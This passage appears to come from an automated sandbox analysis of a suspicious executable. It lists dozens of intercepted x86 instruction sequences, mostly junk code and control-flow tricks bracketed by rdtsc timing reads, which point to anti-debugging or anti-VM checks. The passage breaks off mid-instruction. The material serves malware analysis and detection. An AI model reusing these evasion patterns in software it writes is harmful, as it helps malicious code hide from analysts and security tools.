Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B520 second address: E8B54F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pop eax 0x00000007 mov cl, 18h 0x00000009 lea ebx, dword ptr [ebp+1245427Fh] 0x0000000f push ebx 0x00000010 mov dword ptr [ebp+122D1971h], ecx 0x00000016 pop ecx 0x00000017 push eax 0x00000018 jnp 00007FEA44C7ED61h 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FEA44C7ED4Fh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B54F second address: E8B553 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B69F second address: E8B6C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 pushad 0x00000007 jmp 00007FEA44C7ED57h 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B6FD second address: E8B765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jmp 00007FEA44C4CABDh 0x0000000b pop esi 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007FEA44C4CAB8h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push esi 0x0000002f call 00007FEA44C4CAB8h 0x00000034 pop esi 0x00000035 mov dword ptr [esp+04h], esi 0x00000039 add dword ptr [esp+04h], 00000015h 0x00000041 inc esi 0x00000042 push esi 0x00000043 ret 0x00000044 pop esi 0x00000045 ret 0x00000046 mov cx, di 0x00000049 and dl, FFFFFFD8h 0x0000004c push D6A2C3ECh 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 push ebx 0x00000055 pop ebx 0x00000056 push eax 0x00000057 push edx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B765 second address: E8B76A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B76A second address: E8B80D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CAC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 295D3C94h 0x00000010 sub dword ptr [ebp+12453A96h], edx 0x00000016 push 00000003h 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007FEA44C4CAB8h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 00000014h 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 and ecx, dword ptr [ebp+122D2BABh] 0x00000038 push 00000000h 0x0000003a mov si, 2318h 0x0000003e push 00000003h 0x00000040 mov dword ptr [ebp+122D1A22h], eax 0x00000046 push F980E265h 0x0000004b jnl 00007FEA44C4CABEh 0x00000051 xor dword ptr [esp], 3980E265h 0x00000058 or dword ptr [ebp+122D25F3h], edi 0x0000005e lea ebx, dword ptr [ebp+12454293h] 0x00000064 push 00000000h 0x00000066 push eax 0x00000067 call 00007FEA44C4CAB8h 0x0000006c pop eax 0x0000006d mov dword ptr [esp+04h], eax 0x00000071 add dword ptr [esp+04h], 0000001Ah 0x00000079 inc eax 0x0000007a push eax 0x0000007b ret 0x0000007c pop eax 0x0000007d ret 0x0000007e push eax 0x0000007f push eax 0x00000080 push edx 0x00000081 push eax 0x00000082 push edx 0x00000083 push eax 0x00000084 push edx 0x00000085 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B80D second address: E8B811 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8B811 second address: E8B817 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E708A5 second address: E708E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C7ED58h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007FEA44C7ED7Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 js 00007FEA44C7ED46h 0x00000017 jmp 00007FEA44C7ED51h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E708E0 second address: E708EA instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEA44C4CAB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E708EA second address: E708F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAA36F second address: EAA388 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FEA44C4CAB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEA44C4CABBh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAA388 second address: EAA38C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAA38C second address: EAA390 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAA390 second address: EAA39F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FEA44C7ED46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAA39F second address: EAA3A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAA517 second address: EAA51E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAA51E second address: EAA52D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CABAh 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAA92B second address: EAA937 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FEA44C7ED46h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAAAD9 second address: EAAADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAAC4E second address: EAAC54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAB096 second address: EAB09C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAB34A second address: EAB354 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEA44C7ED46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAB354 second address: EAB367 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEA44C4CABFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAB4B1 second address: EAB4C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C7ED52h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAB4C7 second address: EAB4CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAB4CD second address: EAB4E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEA44C7ED4Bh 0x00000008 jg 00007FEA44C7ED46h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAC079 second address: EAC07F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAD35B second address: EAD365 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEA44C7ED46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EADB25 second address: EADB29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EADB29 second address: EADB2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7714 second address: EB771A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB771A second address: EB771F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB78BC second address: EB78C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jbe 00007FEA44C4CAB6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB79DC second address: EB79E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB79E6 second address: EB79F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FEA44C4CAB6h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB79F4 second address: EB7A1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 push edi 0x00000009 pop edi 0x0000000a jmp 00007FEA44C7ED4Eh 0x0000000f pop esi 0x00000010 pushad 0x00000011 push esi 0x00000012 pop esi 0x00000013 jl 00007FEA44C7ED46h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7A1D second address: EB7A4D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FEA44C4CAC3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FEA44C4CAC4h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7EE8 second address: EB7EED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7EED second address: EB7F1F instructions: 0x00000000 rdtsc 0x00000002 jng 00007FEA44C4CABCh 0x00000008 jno 00007FEA44C4CAB6h 0x0000000e jmp 00007FEA44C4CABDh 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FEA44C4CAC3h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7F1F second address: EB7F34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEA44C7ED51h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB7F34 second address: EB7F38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB81A4 second address: EB81C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C7ED52h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007FEA44C7ED46h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB81C6 second address: EB81CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBA2EA second address: EBA2F4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEA44C7ED4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBA45F second address: EBA463 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBA653 second address: EBA658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBAFDC second address: EBAFE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBAFE2 second address: EBAFE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBAFE6 second address: EBAFFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jc 00007FEA44C4CAB6h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB0E2 second address: EBB0E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB0E8 second address: EBB125 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CAC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007FEA44C4CAC8h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB355 second address: EBB359 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBB469 second address: EBB46D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBBA47 second address: EBBA74 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEA44C7ED48h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007FEA44C7ED57h 0x00000013 push eax 0x00000014 push edx 0x00000015 jc 00007FEA44C7ED46h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBD694 second address: EBD69E instructions: 0x00000000 rdtsc 0x00000002 jg 00007FEA44C4CAB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBED64 second address: EBED69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBED69 second address: EBED6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EBF5B7 second address: EBF5BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC0ABC second address: EC0AC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC4483 second address: EC4487 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E7E45D second address: E7E46E instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEA44C4CAB6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d push ecx 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC4C1B second address: EC4C21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC7990 second address: EC7A18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jne 00007FEA44C4CAB6h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007FEA44C4CAB8h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b push 00000000h 0x0000002d mov dword ptr [ebp+122D36DEh], eax 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push edi 0x00000038 call 00007FEA44C4CAB8h 0x0000003d pop edi 0x0000003e mov dword ptr [esp+04h], edi 0x00000042 add dword ptr [esp+04h], 00000019h 0x0000004a inc edi 0x0000004b push edi 0x0000004c ret 0x0000004d pop edi 0x0000004e ret 0x0000004f jmp 00007FEA44C4CABBh 0x00000054 xchg eax, esi 0x00000055 jne 00007FEA44C4CABAh 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007FEA44C4CAC5h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC6BDB second address: EC6BDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC7A18 second address: EC7A1D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC4CE3 second address: EC4D00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEA44C7ED58h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC6BDF second address: EC6BE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC6BE5 second address: EC6BEA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC6BEA second address: EC6BF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC8A33 second address: EC8A37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9AFA second address: EC9AFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9AFE second address: EC9B02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9B02 second address: EC9B08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECBA35 second address: ECBA6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C7ED50h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FEA44C7ED58h 0x00000013 jnl 00007FEA44C7ED46h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EC9B08 second address: EC9B22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEA44C4CAC0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECCB83 second address: ECCB87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECCB87 second address: ECCB97 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEA44C4CAB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edi 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECFBF8 second address: ECFC07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FEA44C7ED46h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECFC07 second address: ECFC0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECFC0B second address: ECFC0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED11FE second address: ED1202 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1202 second address: ED1206 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1206 second address: ED1214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FEA44C4CABCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED1452 second address: ED145C instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEA44C7ED4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED145C second address: ED14FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 xor edi, 31222C8Eh 0x0000000d push dword ptr fs:[00000000h] 0x00000014 mov dword ptr [ebp+12453A96h], ebx 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 sub dword ptr [ebp+122D18E4h], eax 0x00000027 mov dword ptr [ebp+12464EE8h], edi 0x0000002d mov eax, dword ptr [ebp+122D10A9h] 0x00000033 push 00000000h 0x00000035 push ebp 0x00000036 call 00007FEA44C4CAB8h 0x0000003b pop ebp 0x0000003c mov dword ptr [esp+04h], ebp 0x00000040 add dword ptr [esp+04h], 00000017h 0x00000048 inc ebp 0x00000049 push ebp 0x0000004a ret 0x0000004b pop ebp 0x0000004c ret 0x0000004d push FFFFFFFFh 0x0000004f jmp 00007FEA44C4CAC9h 0x00000054 nop 0x00000055 pushad 0x00000056 jmp 00007FEA44C4CABDh 0x0000005b pushad 0x0000005c push edi 0x0000005d pop edi 0x0000005e jmp 00007FEA44C4CABEh 0x00000063 popad 0x00000064 popad 0x00000065 push eax 0x00000066 pushad 0x00000067 jmp 00007FEA44C4CABAh 0x0000006c pushad 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2349 second address: ED234F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED234F second address: ED23DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d movzx edi, dx 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007FEA44C4CAB8h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 00000016h 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 mov ebx, eax 0x00000033 mov edi, 74D1BF39h 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f push 00000000h 0x00000041 push eax 0x00000042 call 00007FEA44C4CAB8h 0x00000047 pop eax 0x00000048 mov dword ptr [esp+04h], eax 0x0000004c add dword ptr [esp+04h], 00000019h 0x00000054 inc eax 0x00000055 push eax 0x00000056 ret 0x00000057 pop eax 0x00000058 ret 0x00000059 sub ebx, 6EFE8CD4h 0x0000005f mov eax, dword ptr [ebp+122D0A09h] 0x00000065 sub dword ptr [ebp+12453A96h], edi 0x0000006b push 